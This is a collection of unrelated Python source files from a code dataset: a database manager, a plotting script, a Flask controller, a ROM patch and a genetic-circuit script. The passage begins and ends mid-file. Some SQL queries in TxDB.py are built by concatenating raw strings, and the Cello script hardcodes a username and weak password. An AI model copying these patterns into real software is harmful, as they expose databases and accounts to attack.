sys.stdout.flush()\n\n def dbExistsWithDBId(self, DBId):\n \"\"\" Boolean test for whether a database in the merged set include one with\n DatabaseId == DBId \"\"\"\n self.cursor.execute(\"SELECT databaseId FROM \"+ self.databaseTableString + \"\\\n WHERE databaseId = '\" + DBId + \"'\")\n rows = self.cursor.fetchall()\n \n if len(rows) > 0:\n return True\n \n return False\n \n def dbExistsWithDetails(self, TSN, MSN, ISN, Type, Style, Version):\n \"\"\" Boolean test for whether a database in the merged set include one with\n the exact combination of details given as argument \"\"\"\n \n self.cursor.execute(\"SELECT databaseId FROM \"+ self.databaseTableString + \"\\\n WHERE TX_SN = '\" + TSN + \"' \\\n AND MC_SN = '\" + MSN + \"' \\\n AND Instrument_SN = '\" + ISN + \"' \\\n AND DatabaseType = '\" + Type + \"' \\\n AND DatabaseStyle = '\" + Style + \"' \\\n AND Version = '\" + Version + \"'\")\n \n rows = self.cursor.fetchall()\n \n if len(rows) > 0:\n return True\n \n return False\n\n def addTransducerDB(self, pathToBak, TSN, MSN, ISN, Type, Style, Version):\n \"\"\" Pulls transducer's .bak database into Lighthouse as a discrete database \n and merges it into 'Bonita', the merged databse, for subsequent analysis.\n It computes a md5 fingerprint of the .bak file and stores thast in the mergeDB.\n This allows it to prevent duplicate data form being uploaded. It also won't\n upload a new set unless the descriptive arguments provided are unique.\n \n Arguments:\n pathToBak - path on the network filesystem where the .bak file resides\n Must be a path that starts with '\\\\' (rather than q:\\).\n Not sensitive to slash direction.\n TSN - Transducer's serial number e.g. 'E1020_TX1008605_MC0000004_20160303.bak'\n MSN - Matching circuit serial number e.g. 'MC0506229'\n ISN - Instrument serial number e.g. 'E1020'\n Type - Something like 'calibration' or 'instaliation'\n Style - Something note-like 'opt', or 'Test_Recal_Red\n Version - Something like 2.1 which classifies a calibration process\n \n Returns: md5 DatabaseId \"\"\"\n \n path = os.path.normpath(pathToBak)\n \n self._initializeTxDBIfMissing()\n \n try:\n md5=(hashlib.md5(open(path, 'rb').read()).hexdigest())\n except:\n raise Exception('Something is wrong with your path. Is the file '\n +'really there? Could you have escape characters like \\\\t in it? '\n +'If so, make your path string raw like --> r\"\\\\parentDir\\\\tacoFolder\" ') \n \n DBNameToBeMerged = TSN + '_' + MSN + '_' + ISN + '_' + md5\n \n print('Database will be called: ' + DBNameToBeMerged) \n \n ## Check for whether we have a merged database with the same MD5 already - i.e. already uploaded\n if self.dbExistsWithDBId(md5):\n raise Exception(\"Database \"+md5+\" is already present in \"+self.mergeDBName+'.') \n \n ## Check for whether human has provided a unique combination of descriptive fields. \n details = [TSN, MSN, ISN, Type, Style, Version]\n \n if self.dbExistsWithDetails(*details):\n raise Exception(\"Descriptive field (\"+ \" \".join(details) +\") combination already present in \"+self.mergeDBName+'.') \n \n self._addTxToGlobalTransducersIfMissing(TSN)\n \n self._addTxToGlobalInstrumentIfMissing(ISN)\n \n print(\"Adding \" + md5 + \"... \", end='')\n \n dbComponents = self._getDatabaseContents(path)\n \n self._restoreDatabase(path, DBNameToBeMerged, dbComponents)\n \n mergeTransducerDB.merge(DBNameToBeMerged, md5, path, *details)\n \n return md5\n\n def deleteTransducerDBById(self, DBId):\n \"\"\"Deletes a database (and all rows from source tables) with DatabaseId = DBId\"\"\"\n\n if self.dbExistsWithDBId(DBId):\n print('Database with Id=' + DBId + ' exists. Deleting... ',end='', flush=True) \n self.cursor.execute(\"DELETE \\\n FROM \"+ self.databaseTableString + \" \\\n WHERE DatabaseId = '\" + DBId + \"'\")\n print('done.')\n else:\n errorString = 'Database with Id = ' + DBId + ' not found.'\n raise Exception(errorString) \n\n def deleteTransducerDBByDetails(self, TSN, MSN, ISN, Type, Style, Version):\n \"\"\"Deletes a database (and all rows from source tables) with discriptive details\n matching those given.\"\"\"\n \n details = [TSN, MSN, ISN, Type, Style, Version]\n \n if self.dbExistsWithDetails(*details):\n print('Database with details: ' + ' '.join(details) + ' exists. Deleting... ',end='', flush=True) \n self.cursor.execute(\"DELETE FROM \"+ self.databaseTableString + \"\\\n WHERE TX_SN = '\" + TSN + \"' \\\n AND MC_SN = '\" + MSN + \"' \\\n AND Instrument_SN = '\" + ISN + \"' \\\n AND DatabaseType = '\" + Type + \"' \\\n AND DatabaseStyle = '\" + Style + \"' \\\n AND Version = '\" + Version + \"'\" ) \n print('done.')\n else:\n errorString = 'Database with details: ' + ' '.join(details) + ' not found.'\n raise Exception(errorString) \n","repo_name":"trocker43/Lisa-Python","sub_path":"pyCyte/TSwap/TxDB.py","file_name":"TxDB.py","file_ext":"py","file_size_in_byte":15358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26985338451","text":"#!/usr/bin/env python\nimport io\nimport sys, os\nsys.path.append(os.getcwd())\nprint(os.getcwd())\nsys.path.append(\"./Script\")\nsys.path.append(str(os.environ.get(\"INSTDIR\"))+\"/Script\")\nsys.path.append(str(os.environ.get(\"USERDIR\")))\n\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import *\n\nimport cv2\n\n# GUI graphical skeleton\nfrom GUI import MainWindow\n\nimport fit_factory\n# skeleton for user-based FIT implementation\nimport fit_skel_creator\n# already implemented examples\nimport fit_gaus_creator\nimport fit_exp_creator\nimport fit_p1_creator\nimport fit_p2_creator\nimport fit_gp1_creator\nimport fit_gp2_creator\n\nimport algo_factory\n# skeleton for user-based ML implementation\nimport algo_skel_creator\n# already implemented examples\nimport kmean_creator\nimport gmm_creator\nimport imgseg_creator\nimport cannye_creator\n\n#######################################\n## Fitting\n#######################################\nfitfactory = fit_factory.FitFactory()\n# Configurable parameters for Skel (for the full param list, please see skel_creator.py)\nconfig_fit_skel = {\n 'param_1': 1,\n 'param_2': 1,\n 'param_3': 10\n}\n\n# Configurable parameters for Gaussian fit - NB technically they are not needed as the initial values are extracted from the plot itself\nconfig_fit_gaus = {\n 'amplitude': 1000,\n 'mean': 100,\n 'standard_deviation': 10\n}\n\n# Configurable parameters for Exponential fit\nconfig_fit_exp = {\n 'a': 1,\n 'b': 5,\n 'c': -1\n}\n\n# Configurable parameters for 1st order Polynomial fit\nconfig_fit_p1 = {\n 'p0': 100,\n 'p1': 10\n}\n\n# Configurable parameters for 2nd order Polynomial fit\nconfig_fit_p2 = {\n 'p0': 100,\n 'p1': 10,\n 'p2': 1, \n}\n\n# Configurable parameters for Gaussian + 1st order Polynomial fit - NB technically they are not needed as the initial values are extracted from the plot itself\nconfig_fit_gp1 = {\n 'amplitude': 1000,\n 'mean': 100,\n 'standard_deviation': 10,\n 'p0': 100,\n 'p1': 10,\n 'f': 0.9\n}\n\n# Configurable parameters for Gaussian + 2st order Polynomial fit - NB technically they are not needed as the initial values are extracted from the plot itself\nconfig_fit_gp2 = {\n 'amplitude': 1000,\n 'mean': 100,\n 'standard_deviation': 10,\n 'p0': 100,\n 'p1': 10,\n 'p2': 1, \n 'f': 0.9\n}\n\n\n#######################################\n## ML\n#######################################\nalgofactory = algo_factory.AlgoFactory()\n# Configurable parameters for Skel (for the full param list, please see skel_creator.py)\nconfig_algo_skel = {\n 'param_1': 5,\n 'param_2': 'test',\n 'param_3': 100\n}\n\n# Configurable parameters for KMean (for the full param list, please see kmean_creator.py)\nconfig_algo_kmean = {\n 'n_clusters': 3,\n 'n_init': 10\n}\n\n# Configurable parameters for Gaussian Mixture Model (for the full param list, please see gmm_creator.py)\nconfig_algo_gmm = {\n 'n_components': 4,\n}\n'''\n# Configurable parameters for Image Segmentation (for the full param list, please see imgseg_creator.py)\nconfig_algo_img = {\n 'nclusters': 5,\n 'criteria' : (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2),\n 'attempts' :10,\n 'flags': cv2.KMEANS_RANDOM_CENTERS\n}\n\n# Configurable parameters for Canny Edge (for the full param list, please see cannye_creator.py)\nconfig_algo_canny = {\n 'sigma': 1,\n 'kernel_size': 7,\n 'lowthreshold': 0.05,\n 'highthreshold': 0.15,\n 'weak_pixel': 75,\n 'strong_pixel': 255\n}\n'''\n# Fitting function registration\nfitfactory.register_builder('Skeleton', fit_skel_creator.SkelFitBuilder(), config_fit_skel)\nfitfactory.register_builder('Gauss', fit_gaus_creator.GausFitBuilder(), config_fit_gaus)\nfitfactory.register_builder('Exp', fit_exp_creator.ExpFitBuilder(), config_fit_exp)\nfitfactory.register_builder('Pol1', fit_p1_creator.Pol1FitBuilder(), config_fit_p1)\nfitfactory.register_builder('Pol2', fit_p2_creator.Pol2FitBuilder(), config_fit_p2)\nfitfactory.register_builder('G+Pol1', fit_gp1_creator.GPol1FitBuilder(), config_fit_gp1)\nfitfactory.register_builder('G+Pol2', fit_gp2_creator.GPol2FitBuilder(), config_fit_gp2)\n\n# ML Algorithm registration\nalgofactory.register_builder('Skeleton', algo_skel_creator.SkelAlgoBuilder(), config_algo_skel)\nalgofactory.register_builder('KMean', kmean_creator.KMeanAlgoBuilder(), config_algo_kmean)\nalgofactory.register_builder('Gaussian MM', gmm_creator.GMMAlgoBuilder(), config_algo_gmm)\n#algofactory.register_builder('Image Segmentation', imgseg_creator.ImgSegAlgoBuilder(), config_algo_img)\n#algofactory.register_builder('Canny Edge', cannye_creator.CannyEdgeAlgoBuilder(), config_algo_canny)\n\napp = QApplication(sys.argv)\ngui = MainWindow(algofactory, fitfactory)\ngui.show()\nsys.exit(app.exec_())\n\n","repo_name":"rfoxkendo/caenvx2750-nscldaq","sub_path":"src/tclreadout/SpecTcl/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":4697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24362558802","text":"import pandas as pd\nimport numpy as numpy\n\ndef EstudiarIDJM(data):\n # data_edad_14_17, data_edad_18_21, data_edad_22_25, data_edad_25_28 = DividirDataPorRangoEdad(data)\n #\n # data_edad_14_17_mujer, data_edad_14_17_hombre = DividirDataPorSexo(data_edad_14_17)\n # data_edad_18_21_mujer, data_edad_18_21_hombre = DividirDataPorSexo(data_edad_18_21)\n # data_edad_22_25_mujer, data_edad_22_25_hombre = DividirDataPorSexo(data_edad_22_25)\n # data_edad_25_28_mujer, data_edad_25_28_hombre = DividirDataPorSexo(data_edad_25_28)\n\n #---------------- Categorical Plots ---------------------------\n CatPlot(data, col='Estrato', figsize=(10,6), ymin=0, ymax=80)\n CatPlot(data, col='Comuna', figsize=(10,6), ymin=0, ymax=80)\n\n #---------------- Bar Plots ---------------------------\n BarPlot(data, xname='Sexo', yname='IDJM', hue = 'Rango Edad', ymin=0, ymax=80, figsize=(6,6) )\n BarPlot(data, xname='Rango Edad', yname='IDJM', hue = 'Sexo', ymin=0, ymax=80, figsize=(6,6) )\n BarPlot(data, xname='Estrato', yname='IDJM', hue = 'Rango Edad', ymin=0, ymax=80, figsize=(10,6))\n BarPlot(data, xname='Tiempo de Vivir en Medellin', yname='IDJM', hue = 'Rango Edad', ymin=0, ymax=80, figsize=(15,6))\n BarPlot(data, xname='Comuna', yname='IDJM', hue = 'Rango Edad', ymin=0, ymax=80, figsize=(21,6))\n\n #---------------- Box Plots ---------------------------\n BoxPlot(data, xname='Sexo', yname='IDJM', hue = 'Rango Edad', ymin=30, ymax=110)\n BoxPlot(data, xname='Rango Edad', yname='IDJM', hue = 'Sexo', ymin=30, ymax=110)\n BoxPlot(data, xname='Estrato', yname='IDJM', hue = 'Rango Edad', ymin=30, ymax=110)\n BoxPlot(data, xname='Tiempo de Vivir en Medellin', yname='IDJM', hue = 'Rango Edad', ymin=30, ymax=110)\n BoxPlot(data, xname='Comuna', yname='IDJM', hue = 'Rango Edad', ymin=30, ymax=110)\n\n #---------------- Histogram Plots ---------------------------\n Histogram(data, xname='IDJM', yname='# de Jovenes', nbins=25, grupo=None)\n Histogram(data, xname='IDJM', yname='# de Jovenes', nbins=25, grupo='Sexo')\n Histogram(data, xname='IDJM', yname='# de Jovenes', nbins=25, grupo='Rango Edad')\n Histogram(data, xname='IDJM', yname='# de Jovenes', nbins=25, grupo='Estrato')\n Histogram(data, xname='IDJM', yname='# de Jovenes', nbins=25, grupo='Comuna')\n\ndef Histogram(data, xname, yname, nbins, grupo):\n import seaborn as sns\n import matplotlib.pyplot as plt\n import pylab as pl\n import scipy.stats as stats\n import numpy as np\n\n title = ''\n mean = 0.0; sigma = 0.0; y_max = 0.0\n if grupo == None:\n title = 'IDJM ' + 'Total'\n mean = data[xname].mean()\n median = data[xname].median()\n sigma = data[xname].std()\n y_max = data[xname].max()\n\n # print('mean:', mean)\n # print('median:', median)\n # print('sigma:', sigma)\n else:\n title = 'IDJM ' + grupo\n #print( data[xname].groupby(data[grupo]).mean().shape )\n\n ax = data.hist(column=xname, bins=nbins, by=grupo, sharex=True, figsize=(15,10))\n index = 0\n for plot in ax.flatten():\n plot.set_xlabel(xname)\n plot.set_ylabel(yname)\n plot.grid(axis='y', alpha=0.75)\n\n if grupo == None:\n plot.text(mean, plot.get_ylim()[1], 'media = %0.1f' %mean)\n plot.text(mean+15, plot.get_ylim()[1], 'std = %0.1f' %sigma)\n else:\n #print('grupo:', grupo, ' index:', index)\n if grupo == 'Estrato':\n mean = data[xname].groupby(data[grupo]).mean()[index+1]\n sigma = data[xname].groupby(data[grupo]).std()[index+1]\n else:\n #print('grupo:', grupo, ' index:', index)\n if index == 21: continue\n\n mean = data[xname].groupby(data[grupo]).mean()[index]\n sigma = data[xname].groupby(data[grupo]).std()[index]\n\n plot.text(0, plot.get_ylim()[1], 'media = %0.1f' %mean)\n plot.text(mean+15, plot.get_ylim()[1], 'std = %0.1f' %sigma)\n index += 1\n\n\n pl.suptitle(title)\n pl.xlabel(xname)\n pl.ylabel(yname)\n pl.grid(axis='y', alpha=0.75)\n\n save_name = 'Figures/' + 'Histogram' + '_' + title\n pl.savefig(save_name)\n\ndef BoxPlot(data, xname, yname, hue, ymin, ymax):\n import seaborn as sns\n import matplotlib.pyplot as plt\n\n plt.title('Indice Promedio de Desarrollo Juvenil de Medellin (2018)')\n ax = sns.boxplot(x=xname, y=yname, hue=hue, data=data)\n ax.set_ylim(ymin,ymax)\n save_name = 'Figures/' + yname + '_' + xname\n plt.savefig(save_name)\n plt.clf()\n\ndef BarPlot(data, xname, yname, hue, ymin, ymax, figsize):\n import seaborn as sns\n import matplotlib.pyplot as plt\n\n plt.figure(figsize=figsize)\n plt.title('Indice Promedio de Desarrollo Juvenil de Medellin (2018)')\n ax = sns.barplot(x=xname, y=yname, hue=hue, data=data, ci=\"sd\", capsize=.1)\n ax.set_ylim(ymin,ymax)\n\n save_name = 'Figures/BarPlot' + yname + '_' + xname\n plt.savefig(save_name)\n plt.clf()\n\ndef CatPlot(data, col, figsize, ymin, ymax):\n import seaborn as sns\n import matplotlib.pyplot as plt\n\n plt.figure(figsize=figsize)\n plt.title('Indice Promedio de Desarrollo Juvenil de Medellin (2018)')\n ax = sns.catplot(x='Sexo', y = 'IDJM', hue='Rango Edad',\n col=col, data=data, kind='bar', col_wrap=3, ci='sd',\n capsize=.1, height=2.5, aspect=.8)\n #ax.set_ylim(ymin,ymax)\n\n plt.show()\n\ndef DividirDataPorSexo(data):\n mujer = GetData(data, col='Sexo', item='Mujer')\n hombre = GetData(data, col='Sexo', item='Hombre')\n\n return mujer, hombre\n\ndef DividirDataPorRangoEdad(data):\n\n edad_14_17 = GetData(data, col='Rango Edad', item='De 14 a 17 años')\n edad_18_21 = GetData(data, col='Rango Edad', item='De 18 a 21 años')\n edad_22_25 = GetData(data, col='Rango Edad', item='De 22 a 25 años')\n edad_25_28 = GetData(data, col='Rango Edad', item='De 25 a 28 años')\n\n return edad_14_17, edad_18_21, edad_22_25, edad_25_28\n\ndef GetData(data, col, item):\n esItem = data[col]==item\n data_item = data[esItem]\n\n return data_item\n","repo_name":"Rgalindo85/Analisis-Estadistico","sub_path":"PCA/EstudiarIDJM.py","file_name":"EstudiarIDJM.py","file_ext":"py","file_size_in_byte":6286,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14500222628","text":"from app.model.mahasiswa import Mahasiswa\nfrom app.model.dosen import Dosen\n\nfrom app import response, db\nfrom flask import request, jsonify\n\ndef index():\n try:\n mahasiswa = Mahasiswa.query.all()\n data = formatArray(mahasiswa)\n return response.success(data, 'success')\n except Exception as e:\n print(e)\n \n \n\ndef formatArray(datas):\n array = []\n for i in datas:\n dosen_satu= Dosen.query.filter_by(id = i.dosen_satu).first()\n dosen_dua = Dosen.query.filter_by(id = i.dosen_dua).first()\n\n dosen_satu = singleDosen(dosen_satu)\n dosen_dua = singleDosen(dosen_dua)\n array.append(singleObject(i, dosen_satu, dosen_dua))\n \n return array\n \n \n\ndef singleObject(data, dosen_satu, dosen_dua):\n data = {\n 'id' : data.id,\n 'nim': data.nim,\n 'nama':data.nama,\n 'phone':data.phone,\n 'alamat':data.alamat,\n 'dosen_satu' : dosen_satu,\n 'dosen_dua' : dosen_dua,\n }\n \n return data\n\ndef singleDosen(dosen):\n data = {\n 'id':dosen.id,\n 'nidn':dosen.nidn,\n 'nama':dosen.nama,\n 'phone':dosen.phone,\n 'alamat':dosen.alamat\n }\n \n return data\n\n\n# ========= CREATE DATA MAHASISWA\n\ndef save():\n try:\n nim = request.form.get('nim')\n nama = request.form.get('nama')\n phone = request.form.get('phone')\n alamat = request.form.get('alamat')\n dosen_satu = request.form.get('dosen_satu')\n dosen_dua = request.form.get('dosen_dua')\n \n input = [\n {\n 'nim' : nim,\n 'nama' : nama,\n 'phone' : phone,\n 'alamat' : alamat,\n 'dosen_satu' : dosen_satu,\n 'dosen_dua' : dosen_dua\n }\n ]\n \n # cek duplikasi nomor nim\n nim_mhs = Mahasiswa.query.filter_by(nim = nim).first()\n if nim_mhs :\n return response.badRequest(input, \"Nomor NIM sudah ada\")\n \n data_mhs = Mahasiswa(nim=nim, nama=nama, phone=phone, alamat=alamat, dosen_satu=dosen_satu, dosen_dua=dosen_dua)\n db.session.add(data_mhs)\n db.session.commit()\n \n return response.success(input, \"Data Mahasiswa Berhasil di tambahkan!!!\")\n except Exception as e:\n print(e)\n \n \n# ============== UPDATE MAHASISWA BY ID\ndef ubah(id):\n try:\n nim = request.form.get('nim')\n nama = request.form.get('nama')\n phone = request.form.get('phone')\n alamat = request.form.get('alamat')\n dosen_satu = request.form.get('dosen_satu')\n dosen_dua = request.form.get('dosen_dua')\n \n input = [\n {\n 'nim' : nim,\n 'nama' : nama,\n 'phone' : phone,\n 'alamat' : alamat,\n 'dosen_satu' : dosen_satu,\n 'dosen_dua' : dosen_dua\n }\n ]\n \n mhs = Mahasiswa.query.filter_by(id=id).first()\n \n mhs.nim = nim\n mhs.nama = nama\n mhs.phone = phone\n mhs.alamat = alamat\n mhs.dosen_satu = dosen_satu\n mhs.dosen_dua = dosen_dua\n \n db.session.commit()\n \n return response.success(input, 'Sukses Update data mahasiswa')\n except Exception as e:\n print(e)\n \n \n# =========== HAPUS DATA MAHASISWA BY ID\ndef hapus(id):\n try:\n mhs = Mahasiswa.query.filter_by(id=id).first()\n if not mhs:\n return response.badRequest([],\"Data Mahasiswa Tidak ada\")\n \n data = [\n {\n 'nim' : mhs.nim,\n 'nama' : mhs.nama,\n 'phone' : mhs.phone,\n 'alamat' : mhs.alamat,\n 'dosen_satu' : mhs.dosen_satu,\n 'dosen_dua' : mhs.dosen_dua\n }\n ]\n \n db.session.delete(mhs)\n db.session.commit()\n \n return response.success(data, \"Data Mahasiswa Dihapus\")\n except Exception as e:\n print(e)","repo_name":"danilsyah/flask-restfulapi-mysql","sub_path":"app/controller/MahasiswaContorller.py","file_name":"MahasiswaContorller.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"30555764694","text":"\"\"\"\r\nINPLACE\r\nSupport more condensed text files. Remove stupid & unused functionality that returns a nullptr\r\nMight be of interest for general ROM hacks.\r\n\"\"\"\r\n\r\nclass CondensedTextPatch:\r\n\r\n # The API offers [VERSION, MemConst, InstrConst, asm, getScratchSpaceAddr, virtualise]\r\n @classmethod\r\n def apply_patch(cls, api):\r\n\r\n initCodeAddr = {\r\n \"NTSC-U\" : 0x0f6908,\r\n \"NTSC-J\" : 0x0f75f8,\r\n \"PAL\" : 0x0f3ca8,\r\n }[api.VERSION]\r\n\r\n # Clean and trim the main text function,\r\n # adding a call to our function to support the more compressed text files\r\n # NOTE that this function returns a pointer to the text.\r\n UNCOND = 12\r\n COMMON = 15\r\n mainBlock = [\r\n \"sra t6,a0,0xa\",\r\n \"sll t6,t6,0x2\", # bank offset, top 6 bits\r\n api.MemConst.wordBankTable.lui_instr(\"v0\"), #\"lui v0,0x8009/7\",\r\n \"addu v0,v0,t6\",\r\n \"lw v0,{}\".format(api.MemConst.wordBankTable.offset_term(\"v0\")), # => Bank, \"-0x39c0/0x3a20 (v0)\"\r\n\r\n # TEST\r\n \"lb t7, 0x0(v0)\",\r\n \"beq zero, t7, 0x{:x}\".format(initCodeAddr + 0x4*UNCOND),\r\n \"andi t8,a0,0x3ff\",\r\n\r\n # CONDENSED\r\n \"sll t9,t8,0x1\", # *2\r\n \"addu t0,v0,t9\",\r\n \"b 0x{:x}\".format(initCodeAddr + 0x4*COMMON),\r\n \"lhu v1,0x2(t0)\", # Skip the first 2 bytes, the 'header'. Read a half word instead\r\n \r\n # UNCONDENSED\r\n \"sll t9,t8,0x2\", # * 4\r\n \"addu t0,v0,t9\",\r\n \"lw v1,0x0 (t0)\", # Read full word, no header\r\n\r\n # COMMON\r\n \"addu a0,v1,v0\",\r\n \"jr ra\",\r\n \"or v0,a0,zero\",\r\n ]\r\n\r\n for i, instr in enumerate(mainBlock):\r\n api.asm(hex(initCodeAddr+i*4), instr)\r\n\r\n","repo_name":"whiteted-strats/SplitsROM","sub_path":"asm/modules/condensed_text.py","file_name":"condensed_text.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"29569503187","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nget_ipython().magic('matplotlib inline')\n\ndata = pd.read_csv('../data/hbv_s_data.csv', index_col=0, parse_dates=True)\n\nevap_true = np.array([0.6,1.9,2.4,1.8,1.4,1.3,1.0,0.8,0.6,0.4,0.2,0.3])*1.2 #evapo for jan-dec\n\ndef romanenko(data):\n Ta = np.array([data.ix[data.index.month == x, 'Temp'].mean() for x in range(1, 13)])\n Td = 2\n \n def et(T):\n return 33.8679*( ((0.00738*T + 0.8072)**8) - 0.000019*(np.abs(1.8*T + 48)) + 0.001316)\n \n Rh = et(Td)*100/et(Ta)\n # best results with manual evap setup\n # Rh = np.array([60, 0, 0, 45, 70, 80, 85, 90, 90, 90, 90, 76])\n return (0.0018*((25+Ta)**2))*(100-Rh)/30\n\nTa = np.array([data.ix[data.index.month == x, 'Temp'].mean() for x in range(1, 13)])\nTd = np.array([0, 0, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10])\net(Td)*100/et(Ta)\n\nTa\n\nplt.plot(range(1,13), romanenko(data), 'b',\n range(1,13), evap_true, 'r')\n\n\n\ndef kharufa(data):\n Ta = np.array([data.ix[data.index.month == x, 'Temp'].mean() for x in range(1, 13)])\n p = 0.85\n return 0.34*p*(Ta**1.3)\n\nplt.plot(range(1,13), kharufa(data), 'b', \n range(1,13), romanenko(data), 'g',\n range(1,13), evap_true, 'r')\n\nprint(kharufa(data))\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nget_ipython().magic('matplotlib inline')\nimport sys\nsys.path.append('../models/')\nimport hbv_s\nswe_riv = pd.read_csv('../data/hbv_s_data.csv', index_col=0, parse_dates=True)\nQobs = swe_riv.Qobs\nQsim = hbv_s.simulation(swe_riv)\npd.DataFrame({'obs':Qobs, 'sim':Qsim}, index=swe_riv.index).plot()\n\nswe_riv2 = swe_riv.drop('Evap', 1)\n\nswe_riv2['Evap'] = swe_riv2.index.map(lambda x: romanenko(swe_riv2)[x.month-1])\n\nQsim = hbv_s.simulation(swe_riv2)\npd.DataFrame({'obs':Qobs, 'sim':Qsim}, index=swe_riv2.index).plot()\n\nswe_riv2['Evap'].plot();\nswe_riv['Evap'].plot()\n\nevap_true\n\na = np.array([0.6,1.9,2.4,1.8,1.4,1.3,1.0,0.8,0.6,0.4,0.2,0.3])\n\nnp.savetxt('../data/Evap_monthly_constants.txt', a)\n\nnp.loadtxt('../data/Evap_monthly_constants.txt')\n\nswe_riv2['Evap2'] = swe_riv2.index.map(lambda x: np.loadtxt('../data/Evap_monthly_constants.txt')[x.month-1])\n\nswe_riv2[['Evap', 'Evap2']].plot()\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/try_3.py","file_name":"try_3.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23016111578","text":"import requests\nimport os\nimport json\nimport numpy as np\nfrom requests.auth import HTTPBasicAuth\nfrom itertools import zip_longest\n\n\n# Setup the username and password for Cello Authentication\nusername = 'gottbenn'\npassword = '123456789'\nauth = HTTPBasicAuth(username, password)\n\n# ------------------------------------------------#\n# UCF File processing #\n# -------------------------------------------------#\nwith open('gottbenn.UCF.json') as initial_UCF:\n original_UCF = json.load(initial_UCF)\n\n# We are going to grab all the repressor information from the UCF file.\ngate_info = []\nfor info in original_UCF[23:44]:\n # save all the gate_names in an array.\n gate = []\n for key in info.keys():\n if key == 'gate_name':\n gate += [info[key]]\n elif key == 'variables':\n gate += [info[key]]\n elif key == 'parameters':\n gate += [info[key]]\n gate_info += [gate]\n\n# ---------------------------------------------------------#\n# Grab the circuit info from cello #\n# ---------------------------------------------------------#\nID = username + '_Circuit'\nfilename = ID + '_A000' + '_logic' + '_circuit.txt'\nurl = 'http://cellocad.org/results/' + ID + '/' + filename\nreq = requests.get(url, auth=auth)\nscores = open('scores.txt', 'w')\nprint(req.text, file=scores)\nscores.close()\n\n\n# ---------------------------------------------------------------#\n# Process the circuit info into python object #\n# ---------------------------------------------------------------#\ngates_in_circuit = []\ntable = []\ncount = 1\ninput_ymax_ymin = []\na = 0\nfor line in open('scores.txt', 'r'):\n if ('Circuit_score' not in line) and (count != 0):\n table += [line]\n count += 1\n if 'Circuit_score' in line:\n circuit_score = line[15:25]\n count = 0\n if 'Gate' in line:\n index = line.index('Gate')\n gates_in_circuit += [(line[0: index].replace(\" \", \"\"),\n line[index + 5: index + 15])]\n a += 1\n if 'INPUT' in line:\n try:\n index = line.index(' : ')\n input_ymax_ymin += [(gates_in_circuit[a - 1][0],\n line[index + 4: index + 9])]\n except:\n pass\ninput_ymax_ymin = list(set(input_ymax_ymin))\n\n# ----------------------------------------------------------------#\n# Get ride of any unnecessary string elements #\n# ----------------------------------------------------------------#\nlist_of_identities = []\nfor line in table:\n if 'OUTPUT' in line:\n identity = line[25:40] + line[45:60]\n identity = identity.replace(\"(\", \"\")\n identity = identity.replace(\")\", \"\")\n identity = identity.replace(\",\", \" \")\n list_of_identities += [identity.split()]\n elif 'NOR' in line:\n identity = line[25:40] + line[45:60]\n identity = identity.replace(\"(\", \"\")\n identity = identity.replace(\")\", \"\")\n identity = identity.replace(\",\", \" \")\n list_of_identities += [identity.split()]\n elif 'NOT' in line:\n identity = line[25:40] + line[45:60]\n identity = identity.replace(\"(\", \"\")\n identity = identity.replace(\")\", \"\")\n identity = identity.replace(\",\", \" \")\n list_of_identities += [identity.split()]\n elif 'INPUT' in line:\n identity = line[25:40] + line[45:60]\n identity = identity.replace(\"(\", \"\")\n identity = identity.replace(\")\", \"\")\n identity = identity.replace(\",\", \" \")\n list_of_identities += [identity.split()]\n\n# -----------------------------------------------------------#\n# Put the circuit info into a dictionary #\n# -----------------------------------------------------------#\ndict_of_circuit = {}\nfor sub_list in list_of_identities:\n if sub_list[0] not in dict_of_circuit:\n dict_of_circuit[sub_list[0]] = {'ID': sub_list[1]}\n if len(sub_list) > 2:\n dict_of_circuit[sub_list[0]]['Inputs'] = sub_list[2: len(sub_list)]\n\nfor gate in gates_in_circuit:\n if gate[0] in dict_of_circuit:\n dict_of_circuit[gate[0]]['score'] = gate[1][0:len(gate[1]) - 2]\n\nfor key in dict_of_circuit.keys():\n for line in gate_info:\n if key in line:\n for element in line:\n if len(element) == 1:\n dict_of_circuit[key]['on_threshold'] = element[\n 0]['on_threshold']\n dict_of_circuit[key]['off_threshold'] = element[\n 0]['off_threshold']\n if len(element) == 4:\n dict_of_circuit[key]['ymax'] = element[0]['value']\n dict_of_circuit[key]['ymin'] = element[1]['value']\n dict_of_circuit[key]['K'] = element[2]['value']\n dict_of_circuit[key]['n'] = element[3]['value']\n\nlist_of_circ_elements = []\nfor key in dict_of_circuit.keys():\n dict_of_circuit[key]['ID'] = int(dict_of_circuit[key]['ID'])\n list_of_circ_elements += [(key, dict_of_circuit[key]['ID'])]\n\n\n# ------------------------------------------------------#\n# Add the input ymax and ymin to dict #\n# ------------------------------------------------------#\n\nd = {}\nfor k, v in input_ymax_ymin:\n d.setdefault(k, [k]). append(float(v))\n\nb = [v for v in d.values()]\nfor item in b:\n if item[1] > item[2]:\n dict_of_circuit[item[0]]['ymax'] = item[1]\n dict_of_circuit[item[0]]['ymin'] = item[2]\n else:\n dict_of_circuit[item[0]]['ymax'] = item[2]\n dict_of_circuit[item[0]]['ymin'] = item[1]\n\n# ----------------------------------------------------- #\n# Convert string values to float values #\n# ----------------------------------------------------- #\nfor key in dict_of_circuit.keys():\n dict_of_circuit[key]['score'] = float(dict_of_circuit[key]['score'])\n try:\n dict_of_circuit[key]['ymax'] 